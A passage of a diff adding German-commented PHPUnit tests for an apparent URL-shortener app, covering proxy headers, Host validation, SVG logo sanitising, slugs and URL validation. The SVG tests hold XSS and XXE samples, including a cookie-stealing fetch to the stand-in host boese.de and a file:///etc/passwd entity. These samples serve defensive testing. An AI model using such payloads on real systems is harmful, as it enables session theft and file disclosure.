public function testChainOfProxiesReturnsTheOutermostUntrustedAddress(): void
|
||||||
|
{
|
||||||
|
$request = $this->request(
|
||||||
|
[
|
||||||
|
'REMOTE_ADDR' => '10.0.0.5',
|
||||||
|
'HTTP_X_FORWARDED_FOR' => '203.0.113.77, 10.0.0.9, 10.0.0.5',
|
||||||
|
],
|
||||||
|
['10.0.0.0/8'],
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertSame('203.0.113.77', $request->clientIp());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testInjectedGarbageBehindProxyFallsBackToRemoteAddr(): void
|
||||||
|
{
|
||||||
|
// Ein Angreifer haengt Unsinn an, um die Auswertung zu stoeren.
|
||||||
|
$request = $this->request(
|
||||||
|
[
|
||||||
|
'REMOTE_ADDR' => '10.0.0.5',
|
||||||
|
'HTTP_X_FORWARDED_FOR' => '203.0.113.77, kein-ip',
|
||||||
|
],
|
||||||
|
['10.0.0.0/8'],
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertSame('10.0.0.5', $request->clientIp());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testUntrustedRemoteAddrIgnoresForwardedEvenIfProxiesConfigured(): void
|
||||||
|
{
|
||||||
|
$request = $this->request(
|
||||||
|
[
|
||||||
|
'REMOTE_ADDR' => '198.51.100.4',
|
||||||
|
'HTTP_X_FORWARDED_FOR' => '203.0.113.77',
|
||||||
|
],
|
||||||
|
['10.0.0.0/8'],
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertSame('198.51.100.4', $request->clientIp());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testPortIsStrippedFromForwardedAddress(): void
|
||||||
|
{
|
||||||
|
$request = $this->request(
|
||||||
|
[
|
||||||
|
'REMOTE_ADDR' => '10.0.0.5',
|
||||||
|
'HTTP_X_FORWARDED_FOR' => '203.0.113.77:51234',
|
||||||
|
],
|
||||||
|
['10.0.0.0/8'],
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertSame('203.0.113.77', $request->clientIp());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testMissingRemoteAddrIsHandled(): void
|
||||||
|
{
|
||||||
|
self::assertSame('0.0.0.0', $this->request([])->clientIp());
|
||||||
|
self::assertSame('0.0.0.0', $this->request(['REMOTE_ADDR' => 'quatsch'])->clientIp());
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- HTTPS-Erkennung ---------------------------------------------
|
||||||
|
|
||||||
|
public function testForwardedProtoIsOnlyTrustedBehindAProxy(): void
|
||||||
|
{
|
||||||
|
$spoofed = $this->request([
|
||||||
|
'REMOTE_ADDR' => '203.0.113.10',
|
||||||
|
'HTTP_X_FORWARDED_PROTO' => 'https',
|
||||||
|
]);
|
||||||
|
self::assertFalse($spoofed->isSecure());
|
||||||
|
|
||||||
|
$behindProxy = $this->request(
|
||||||
|
[
|
||||||
|
'REMOTE_ADDR' => '10.0.0.5',
|
||||||
|
'HTTP_X_FORWARDED_PROTO' => 'https',
|
||||||
|
],
|
||||||
|
['10.0.0.0/8'],
|
||||||
|
);
|
||||||
|
self::assertTrue($behindProxy->isSecure());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testDirectHttpsIsDetected(): void
|
||||||
|
{
|
||||||
|
self::assertTrue($this->request(['HTTPS' => 'on'])->isSecure());
|
||||||
|
self::assertTrue($this->request(['SERVER_PORT' => '443'])->isSecure());
|
||||||
|
self::assertFalse($this->request(['HTTPS' => 'off'])->isSecure());
|
||||||
|
self::assertFalse($this->request([])->isSecure());
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Host-Header --------------------------------------------------
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string,array{0:string,1:string}>
|
||||||
|
*/
|
||||||
|
public static function hostProvider(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'einfach' => ['kurz.example.de', 'kurz.example.de'],
|
||||||
|
'mit Port' => ['kurz.example.de:8080', 'kurz.example.de:8080'],
|
||||||
|
'Grossbuchstaben' => ['Kurz.Example.DE', 'kurz.example.de'],
|
||||||
|
'IPv6' => ['[2001:db8::1]', '[2001:db8::1]'],
|
||||||
|
'Injektion mit Slash' => ['example.de/pfad', ''],
|
||||||
|
'Injektion mit Zeilenumbruch' => ["example.de\r\nX-Fake: 1", ''],
|
||||||
|
'Injektion mit Leerzeichen' => ['example.de boese.de', ''],
|
||||||
|
'Injektion mit @' => ['boese.de@example.de', ''],
|
||||||
|
'Injektion mit Anfuehrungszeichen' => ['example.de"><script>', ''],
|
||||||
|
'leer' => ['', ''],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @dataProvider hostProvider
|
||||||
|
*/
|
||||||
|
public function testHostHeaderIsValidated(string $header, string $expected): void
|
||||||
|
{
|
||||||
|
self::assertSame($expected, $this->request(['HTTP_HOST' => $header])->host());
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testOverlongHostIsRejected(): void
|
||||||
|
{
|
||||||
|
self::assertSame('', $this->request(['HTTP_HOST' => str_repeat('a', 300) . '.de'])->host());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,195 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests\Security;
|
||||||
|
|
||||||
|
use App\Qr\LogoStore;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* SVG ist XML und darf Skripte, externe Referenzen und Entities
|
||||||
|
* enthalten. Ein hochgeladenes Logo darf daraus nichts mitbringen -
|
||||||
|
* weder fuer den Browser (gespeichertes XSS) noch fuer ImageMagick
|
||||||
|
* beim Rastern (Abruf fremder Adressen vom Server aus).
|
||||||
|
*/
|
||||||
|
final class SvgSanitizerTest extends TestCase
|
||||||
|
{
|
||||||
|
private string $uploadDir;
|
||||||
|
private string $tmpDir;
|
||||||
|
|
||||||
|
protected function setUp(): void
|
||||||
|
{
|
||||||
|
$suffix = bin2hex(random_bytes(4));
|
||||||
|
$this->uploadDir = sys_get_temp_dir() . '/urlshort-svg-' . $suffix;
|
||||||
|
$this->tmpDir = sys_get_temp_dir() . '/urlshort-svgtmp-' . $suffix;
|
||||||
|
mkdir($this->uploadDir, 0775, true);
|
||||||
|
mkdir($this->tmpDir, 0775, true);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected function tearDown(): void
|
||||||
|
{
|
||||||
|
foreach ([$this->uploadDir, $this->tmpDir] as $dir) {
|
||||||
|
foreach (glob($dir . '/*') ?: [] as $file) {
|
||||||
|
unlink($file);
|
||||||
|
}
|
||||||
|
if (is_dir($dir)) {
|
||||||
|
rmdir($dir);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function store(string $svg): string
|
||||||
|
{
|
||||||
|
$path = $this->tmpDir . '/' . bin2hex(random_bytes(4));
|
||||||
|
file_put_contents($path, $svg);
|
||||||
|
|
||||||
|
$store = new LogoStore($this->uploadDir);
|
||||||
|
$filename = $store->store([
|
||||||
|
'name' => 'logo.svg',
|
||||||
|
'tmp_name' => $path,
|
||||||
|
'size' => strlen($svg),
|
||||||
|
'error' => UPLOAD_ERR_OK,
|
||||||
|
], 1);
|
||||||
|
|
||||||
|
return (string) file_get_contents($this->uploadDir . '/' . $filename);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string,array{0:string,1:list<string>}>
|
||||||
|
*/
|
||||||
|
public static function payloadProvider(): array
|
||||||
|
{
|
||||||
|
$open = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">';
|
||||||
|
$close = '</svg>';
|
||||||
|
|
||||||
|
return [
|
||||||
|
'Skriptblock' => [
|
||||||
|
$open . '<script>fetch("//boese.de?c="+document.cookie)</script>' . $close,
|
||||||
|
['<script', 'fetch('],
|
||||||
|
],
|
||||||
|
'Skript selbstschliessend' => [
|
||||||
|
$open . '<script src="//boese.de/x.js"/>' . $close,
|
||||||
|
['<script', 'boese.de'],
|
||||||
|
],
|
||||||
|
'onload-Handler' => [
|
||||||
|
'<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)" viewBox="0 0 10 10">' . $close,
|
||||||
|
['onload', 'alert(1)'],
|
||||||
|
],
|
||||||
|
'onclick ohne Anfuehrungszeichen' => [
|
||||||
|
$open . '<circle cx="5" cy="5" r="4" onclick=alert(1)/>' . $close,
|
||||||
|
['onclick', 'alert(1)'],
|
||||||
|
],
|
||||||
|
'onbegin in animate' => [
|
||||||
|
$open . '<animate onbegin="alert(1)" attributeName="x"/>' . $close,
|
||||||
|
['onbegin', 'alert(1)'],
|
||||||
|
],
|
||||||
|
'javascript-href' => [
|
||||||
|
$open . '<a href="javascript:alert(1)">x</a>' . $close,
|
||||||
|
['javascript:'],
|
||||||
|
],
|
||||||
|
'externe xlink:href' => [
|
||||||
|
$open . '<use xlink:href="https://boese.de/payload.svg#x"/>' . $close,
|
||||||
|
['boese.de'],
|
||||||
|
],
|
||||||
|
'externes Bild' => [
|
||||||
|
$open . '<image href="http://boese.de/track.png" width="10" height="10"/>' . $close,
|
||||||
|
['boese.de'],
|
||||||
|
],
|
||||||
|
'file-Referenz' => [
|
||||||
|
$open . '<image href="file:///etc/passwd" width="10" height="10"/>' . $close,
|
||||||
|
['/etc/passwd', 'file:'],
|
||||||
|
],
|
||||||
|
'XXE per Entity' => [
|
||||||
|
'<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'
|
||||||
|
. $open . '<text>&xxe;</text>' . $close,
|
||||||
|
['<!DOCTYPE', '<!ENTITY', '/etc/passwd'],
|
||||||
|
],
|
||||||
|
'externes Stylesheet' => [
|
||||||
|
'<?xml-stylesheet type="text/css" href="https://boese.de/x.css"?>' . $open . $close,
|
||||||
|
['xml-stylesheet', 'boese.de'],
|
||||||
|
],
|
||||||
|
'CSS-Import' => [
|
||||||
|
$open . '<style>@import url("https://boese.de/x.css");</style>' . $close,
|
||||||
|
['@import', 'boese.de'],
|
||||||
|
],
|
||||||
|
'CSS url() nach aussen' => [
|
||||||
|
$open . '<rect fill="url(https://boese.de/x.svg#p)" width="10" height="10"/>' . $close,
|
||||||
|
['boese.de'],
|
||||||
|
],
|
||||||
|
'foreignObject mit HTML' => [
|
||||||
|
$open . '<foreignObject><body xmlns="http://www.w3.org/1999/xhtml">'
|
||||||
|
. '<script>alert(1)</script></body></foreignObject>' . $close,
|
||||||
|
['foreignObject', '<script', 'alert(1)'],
|
||||||
|
],
|
||||||
|
'iframe' => [
|
||||||
|
$open . '<iframe src="https://boese.de/"></iframe>' . $close,
|
||||||
|
['<iframe', 'boese.de'],
|
||||||
|
],
|
||||||
|
'Grossschreibung' => [
|
||||||
|
$open . '<SCRIPT>alert(1)</SCRIPT>' . $close,
|
||||||
|
['alert(1)'],
|
||||||
|
],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param list<string> $forbidden
|
||||||
|
* @dataProvider payloadProvider
|
||||||
|
*/
|
||||||
|
public function testPayloadsAreRemoved(string $svg, array $forbidden): void
|
||||||
|
{
|
||||||
|
$stored = $this->store($svg);
|
||||||
|
|
||||||
|
foreach ($forbidden as $needle) {
|
||||||
|
self::assertStringNotContainsStringIgnoringCase(
|
||||||
|
$needle,
|
||||||
|
$stored,
|
||||||
|
sprintf('"%s" darf nach der Bereinigung nicht mehr enthalten sein.', $needle),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testHarmlessContentSurvives(): void
|
||||||
|
{
|
||||||
|
$svg = '<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">'
|
||||||
|
. '<defs><linearGradient id="verlauf"><stop offset="0" stop-color="#0b4f9e"/></linearGradient></defs>'
|
||||||
|
. '<rect width="100" height="100" fill="url(#verlauf)"/>'
|
||||||
|
. '<circle cx="50" cy="50" r="40" fill="#ff0000"/>'
|
||||||
|
. '<path d="M10 10 L90 90" stroke="#000000" stroke-width="2"/>'
|
||||||
|
. '<use href="#verlauf"/>'
|
||||||
|
. '</svg>';
|
||||||
|
|
||||||
|
$stored = $this->store($svg);
|
||||||
|
|
||||||
|
self::assertStringContainsString('<circle', $stored);
|
||||||
|
self::assertStringContainsString('#ff0000', $stored);
|
||||||
|
self::assertStringContainsString('<path', $stored);
|
||||||
|
// Interne Verweise bleiben erhalten, sonst waeren Verlaeufe kaputt.
|
||||||
|
self::assertStringContainsString('url(#verlauf)', $stored);
|
||||||
|
self::assertStringContainsString('href="#verlauf"', $stored);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testEmbeddedRasterImageIsKept(): void
|
||||||
|
{
|
||||||
|
$dataUri = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNkYAAAAAYAAjCB0C8AAAAASUVORK5CYII=';
|
||||||
|
$svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">'
|
||||||
|
. '<image href="' . $dataUri . '" width="10" height="10"/></svg>';
|
||||||
|
|
||||||
|
$stored = $this->store($svg);
|
||||||
|
|
||||||
|
self::assertStringContainsString('data:image/png;base64,', $stored);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testEncodedJavascriptHrefIsRemoved(): void
|
||||||
|
{
|
||||||
|
// HTML-Entities werden vor der Pruefung aufgeloest.
|
||||||
|
$svg = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 10 10">'
|
||||||
|
. '<a href="javascript:alert(1)">x</a></svg>';
|
||||||
|
|
||||||
|
$stored = $this->store($svg);
|
||||||
|
|
||||||
|
self::assertStringNotContainsStringIgnoringCase('alert(1)', $stored);
|
||||||
|
self::assertStringNotContainsStringIgnoringCase('avascript:', $stored);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,123 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests;
|
||||||
|
|
||||||
|
use App\Support\ShortDomain;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
|
||||||
|
final class ShortDomainTest extends TestCase
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* @return array<string,array{0:string,1:string}>
|
||||||
|
*/
|
||||||
|
public static function baseUrlProvider(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'nur Host' => ['qr.example.de', 'https://qr.example.de'],
|
||||||
|
'mit https' => ['https://qr.example.de', 'https://qr.example.de'],
|
||||||
|
'mit http' => ['http://qr.example.de', 'http://qr.example.de'],
|
||||||
|
'Schraegstrich am Ende' => ['https://qr.example.de/', 'https://qr.example.de'],
|
||||||
|
'Leerraum' => [' qr.example.de ', 'https://qr.example.de'],
|
||||||
|
'Grossbuchstaben' => ['QR.Example.DE', 'https://qr.example.de'],
|
||||||
|
'mit Port' => ['localhost:8088', 'https://localhost:8088'],
|
||||||
|
'Unterverzeichnis' => ['https://example.de/kurz/', 'https://example.de/kurz'],
|
||||||
|
'Umlaut-Domain' => ['kürzer.de', 'https://kürzer.de'],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @dataProvider baseUrlProvider
|
||||||
|
*/
|
||||||
|
public function testNormalizeBaseUrl(string $input, string $expected): void
|
||||||
|
{
|
||||||
|
self::assertSame($expected, ShortDomain::normalizeBaseUrl($input));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string,array{0:string,1:string}>
|
||||||
|
*/
|
||||||
|
public static function hostProvider(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'einfach' => ['https://qr.example.de', 'qr.example.de'],
|
||||||
|
'mit Port' => ['http://localhost:8088', 'localhost:8088'],
|
||||||
|
'mit Pfad' => ['https://example.de/kurz', 'example.de'],
|
||||||
|
'mit Benutzerinfo' => ['https://user@example.de/x', 'example.de'],
|
||||||
|
'ohne Schema' => ['example.de', ''],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @dataProvider hostProvider
|
||||||
|
*/
|
||||||
|
public function testHostOf(string $baseUrl, string $expected): void
|
||||||
|
{
|
||||||
|
self::assertSame($expected, ShortDomain::hostOf($baseUrl));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNormalizeRequestHost(): void
|
||||||
|
{
|
||||||
|
self::assertSame('qr.example.de', ShortDomain::normalizeRequestHost('QR.Example.DE'));
|
||||||
|
self::assertSame('qr.example.de', ShortDomain::normalizeRequestHost('qr.example.de:443'));
|
||||||
|
self::assertSame('qr.example.de', ShortDomain::normalizeRequestHost('qr.example.de:80'));
|
||||||
|
self::assertSame('localhost:8088', ShortDomain::normalizeRequestHost('localhost:8088'));
|
||||||
|
self::assertSame('', ShortDomain::normalizeRequestHost(' '));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Host aus der Basis-URL und Host aus dem Request-Header muessen
|
||||||
|
* direkt vergleichbar sein - sonst greift die Zuordnung nicht.
|
||||||
|
*/
|
||||||
|
public function testHostOfAndRequestHostMatch(): void
|
||||||
|
{
|
||||||
|
foreach ([
|
||||||
|
'https://qr.example.de' => 'qr.example.de',
|
||||||
|
'http://localhost:8088' => 'localhost:8088',
|
||||||
|
'https://example.de/kurz' => 'example.de',
|
||||||
|
] as $baseUrl => $requestHost) {
|
||||||
|
self::assertSame(
|
||||||
|
ShortDomain::hostOf(ShortDomain::normalizeBaseUrl($baseUrl)),
|
||||||
|
ShortDomain::normalizeRequestHost($requestHost),
|
||||||
|
$baseUrl,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string,array{0:string,1:bool}>
|
||||||
|
*/
|
||||||
|
public static function validationProvider(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'gueltig' => ['https://qr.example.de', true],
|
||||||
|
'mit Port' => ['http://localhost:8088', true],
|
||||||
|
'Unterverzeichnis' => ['https://example.de/kurz', true],
|
||||||
|
'interner Host' => ['http://intranet', true],
|
||||||
|
'leer' => ['', false],
|
||||||
|
'nur Schema' => ['https://', false],
|
||||||
|
'fremdes Schema' => ['ftp://example.de', false],
|
||||||
|
'javascript' => ['javascript:alert(1)', false],
|
||||||
|
'mit Query' => ['https://example.de?x=1', false],
|
||||||
|
'mit Fragment' => ['https://example.de#x', false],
|
||||||
|
'zu lang' => ['https://example.de/' . str_repeat('a', 300), false],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @dataProvider validationProvider
|
||||||
|
*/
|
||||||
|
public function testValidation(string $baseUrl, bool $expected): void
|
||||||
|
{
|
||||||
|
self::assertSame($expected, ShortDomain::validationError($baseUrl) === null, $baseUrl);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testDisplayNameHidesHttps(): void
|
||||||
|
{
|
||||||
|
self::assertSame('qr.example.de', ShortDomain::displayName('https://qr.example.de'));
|
||||||
|
self::assertSame('example.de/kurz', ShortDomain::displayName('https://example.de/kurz'));
|
||||||
|
// http wird bewusst angezeigt, damit man es bemerkt.
|
||||||
|
self::assertSame('http://localhost:8088', ShortDomain::displayName('http://localhost:8088'));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,143 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests;
|
||||||
|
|
||||||
|
use App\Support\Slug;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
|
||||||
|
final class SlugTest extends TestCase
|
||||||
|
{
|
||||||
|
public function testRandomSlugHasRequestedLengthAndSafeAlphabet(): void
|
||||||
|
{
|
||||||
|
for ($i = 0; $i < 50; $i++) {
|
||||||
|
$slug = Slug::random(7);
|
||||||
|
|
||||||
|
self::assertSame(7, strlen($slug));
|
||||||
|
self::assertMatchesRegularExpression('/^[a-z0-9]+$/', $slug);
|
||||||
|
// 0 und 1 sind ausgeschlossen (Verwechslung mit o und l).
|
||||||
|
self::assertDoesNotMatchRegularExpression('/[01]/', $slug);
|
||||||
|
self::assertTrue(Slug::isValid($slug));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testRandomSlugLengthIsConfigurable(): void
|
||||||
|
{
|
||||||
|
self::assertSame(6, strlen(Slug::random(6)));
|
||||||
|
self::assertSame(8, strlen(Slug::random(8)));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testRandomSlugsAreEssentiallyUnique(): void
|
||||||
|
{
|
||||||
|
$slugs = [];
|
||||||
|
for ($i = 0; $i < 500; $i++) {
|
||||||
|
$slugs[Slug::random(7)] = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 33^7 Kombinationen: Kollisionen sind bei 500 Ziehungen praktisch ausgeschlossen.
|
||||||
|
self::assertGreaterThanOrEqual(499, count($slugs));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testRandomUniqueSkipsTakenSlugs(): void
|
||||||
|
{
|
||||||
|
$taken = [];
|
||||||
|
$calls = 0;
|
||||||
|
|
||||||
|
$exists = static function (string $candidate) use (&$taken, &$calls): bool {
|
||||||
|
$calls++;
|
||||||
|
|
||||||
|
// Die ersten drei Vorschlaege gelten als vergeben.
|
||||||
|
if ($calls <= 3) {
|
||||||
|
$taken[] = $candidate;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
};
|
||||||
|
|
||||||
|
$slug = Slug::randomUnique($exists);
|
||||||
|
|
||||||
|
self::assertNotContains($slug, $taken);
|
||||||
|
self::assertTrue(Slug::isValid($slug));
|
||||||
|
self::assertSame(4, $calls);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testRandomUniqueGrowsLengthOnRepeatedCollisions(): void
|
||||||
|
{
|
||||||
|
$attempt = 0;
|
||||||
|
$slug = Slug::randomUnique(
|
||||||
|
static function () use (&$attempt): bool {
|
||||||
|
$attempt++;
|
||||||
|
|
||||||
|
return $attempt <= 4; // vier Kollisionen erzwingen
|
||||||
|
},
|
||||||
|
7,
|
||||||
|
);
|
||||||
|
|
||||||
|
self::assertSame(8, strlen($slug));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testRandomRejectsUnreasonableLengths(): void
|
||||||
|
{
|
||||||
|
$this->expectException(\InvalidArgumentException::class);
|
||||||
|
Slug::random(3);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string,array{0:string,1:bool}>
|
||||||
|
*/
|
||||||
|
public static function slugValidationProvider(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'einfach' => ['messe2026', true],
|
||||||
|
'mit Bindestrich' => ['messe-2026-halle-3', true],
|
||||||
|
'nur Ziffern' => ['12345', true],
|
||||||
|
'einzelnes Zeichen' => ['a', true],
|
||||||
|
'leer' => ['', false],
|
||||||
|
'Grossbuchstaben' => ['Messe2026', false],
|
||||||
|
'Umlaut' => ['grüße', false],
|
||||||
|
'Leerzeichen' => ['messe 2026', false],
|
||||||
|
'Unterstrich' => ['messe_2026', false],
|
||||||
|
'Punkt' => ['messe.2026', false],
|
||||||
|
'Slash' => ['messe/2026', false],
|
||||||
|
'fuehrender Bindestrich' => ['-messe', false],
|
||||||
|
'abschliessender Bindestrich' => ['messe-', false],
|
||||||
|
'doppelter Bindestrich' => ['messe--2026', false],
|
||||||
|
'reserviert admin' => ['admin', false],
|
||||||
|
'reserviert login' => ['login', false],
|
||||||
|
'zu lang' => [str_repeat('a', 65), false],
|
||||||
|
'maximale Laenge' => [str_repeat('a', 64), true],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @dataProvider slugValidationProvider
|
||||||
|
*/
|
||||||
|
public function testValidation(string $slug, bool $expected): void
|
||||||
|
{
|
||||||
|
self::assertSame($expected, Slug::isValid($slug));
|
||||||
|
self::assertSame($expected, Slug::validationError($slug) === null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNormalizeCreatesUsableSlugs(): void
|
||||||
|
{
|
||||||
|
self::assertSame('messe-2026', Slug::normalize('Messe 2026'));
|
||||||
|
self::assertSame('gruesse-aus-muenchen', Slug::normalize('Grüße aus München'));
|
||||||
|
self::assertSame('a-b', Slug::normalize('--a---b--'));
|
||||||
|
self::assertSame('strasse', Slug::normalize('Straße'));
|
||||||
|
self::assertSame('', Slug::normalize(' '));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNormalizedInputIsAlwaysValidOrEmpty(): void
|
||||||
|
{
|
||||||
|
foreach (['Messe 2026', 'Grüße!', 'a/b/c', '###', 'Test_Fall'] as $input) {
|
||||||
|
$normalized = Slug::normalize($input);
|
||||||
|
|
||||||
|
if ($normalized !== '') {
|
||||||
|
self::assertTrue(Slug::isValid($normalized), $input . ' -> ' . $normalized);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,189 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
declare(strict_types=1);
|
||||||
|
|
||||||
|
namespace App\Tests;
|
||||||
|
|
||||||
|
use App\Support\UrlValidator;
|
||||||
|
use PHPUnit\Framework\TestCase;
|
||||||
|
|
||||||
|
final class UrlValidatorTest extends TestCase
|
||||||
|
{
|
||||||
|
/**
|
||||||
|
* @return array<string,array{0:string,1:bool}>
|
||||||
|
*/
|
||||||
|
public static function urlProvider(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
// --- akzeptiert ------------------------------------------
|
||||||
|
'https' => ['https://www.beispiel.de/pfad?a=1#anker', true],
|
||||||
|
'http' => ['http://beispiel.de', true],
|
||||||
|
'IP-Adresse' => ['http://192.168.1.10:8080/x', true],
|
||||||
|
'IPv6' => ['https://[2001:db8::1]/x', true],
|
||||||
|
'IPv6 mit Port' => ['https://[2001:db8::1]:8443/x', true],
|
||||||
|
'localhost' => ['http://localhost:8080/test', true],
|
||||||
|
'Umlaut-Domain' => ['https://müller.de', true],
|
||||||
|
'Umlaut-Domain mit Pfad' => ['https://münchen.de/veranstaltung', true],
|
||||||
|
'Punycode-Domain' => ['https://xn--mller-kva.de', true],
|
||||||
|
'Umlaute im Pfad' => ['https://de.wikipedia.org/wiki/München', true],
|
||||||
|
'Umlaute im Query' => ['https://beispiel.de/suche?q=Grüße&x=1', true],
|
||||||
|
'interner Host ohne Punkt' => ['http://intranet/seite', true],
|
||||||
|
'interner Host mit Port' => ['http://nas:5000/freigabe', true],
|
||||||
|
'lange TLD' => ['https://beispiel.photography', true],
|
||||||
|
'Benutzerinfo' => ['https://user:pass@beispiel.de/geschuetzt', true],
|
||||||
|
'absoluter Punkt am Ende' => ['https://beispiel.de./x', true],
|
||||||
|
'Bindestrich in der Domain' => ['https://mein-shop.de', true],
|
||||||
|
|
||||||
|
// --- abgelehnt -------------------------------------------
|
||||||
|
'leer' => ['', false],
|
||||||
|
'ftp' => ['ftp://beispiel.de/datei.zip', false],
|
||||||
|
'javascript' => ['javascript:alert(1)', false],
|
||||||
|
'data-URI' => ['data:text/html,<script>alert(1)</script>', false],
|
||||||
|
'mailto' => ['mailto:info@beispiel.de', false],
|
||||||
|
'file' => ['file:///etc/passwd', false],
|
||||||
|
'ohne Host' => ['https://', false],
|
||||||
|
'Steuerzeichen' => ["https://beispiel.de/\nX", false],
|
||||||
|
'zu lang' => ['https://beispiel.de/' . str_repeat('a', 2100), false],
|
||||||
|
'Bindestrich am Labelanfang' => ['https://-beispiel.de', false],
|
||||||
|
'Bindestrich am Labelende' => ['https://beispiel-.de', false],
|
||||||
|
'leeres Label' => ['https://beispiel..de', false],
|
||||||
|
'ungueltiger Port' => ['https://beispiel.de:99999/x', false],
|
||||||
|
'Unterstrich im Host' => ['https://mein_host.de', false],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @dataProvider urlProvider
|
||||||
|
*/
|
||||||
|
public function testValidation(string $url, bool $expected): void
|
||||||
|
{
|
||||||
|
self::assertSame($expected, UrlValidator::isValid($url), $url);
|
||||||
|
self::assertSame($expected, UrlValidator::validationError($url) === null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNormalizeAddsHttpsWhenSchemeIsMissing(): void
|
||||||
|
{
|
||||||
|
self::assertSame('https://beispiel.de/pfad', UrlValidator::normalize('beispiel.de/pfad'));
|
||||||
|
self::assertSame('https://www.beispiel.de', UrlValidator::normalize(' www.beispiel.de '));
|
||||||
|
self::assertSame('https://beispiel.de', UrlValidator::normalize('//beispiel.de'));
|
||||||
|
self::assertSame('https://müller.de', UrlValidator::normalize('müller.de'));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNormalizeKeepsExistingScheme(): void
|
||||||
|
{
|
||||||
|
self::assertSame('http://beispiel.de', UrlValidator::normalize('http://beispiel.de'));
|
||||||
|
self::assertSame('https://beispiel.de', UrlValidator::normalize('https://beispiel.de'));
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNormalizeLowercasesSchemeAndHostOnly(): void
|
||||||
|
{
|
||||||
|
self::assertSame(
|
||||||
|
'https://beispiel.de/Pfad/Mit/Grossbuchstaben',
|
||||||
|
UrlValidator::normalize('HTTPS://Beispiel.DE/Pfad/Mit/Grossbuchstaben'),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function testNormalizeKeepsTheReadableHost(): void
|
||||||
|
{
|
||||||
|
// Punycode gehoert erst in den Location-Header, nicht in die Anzeige.
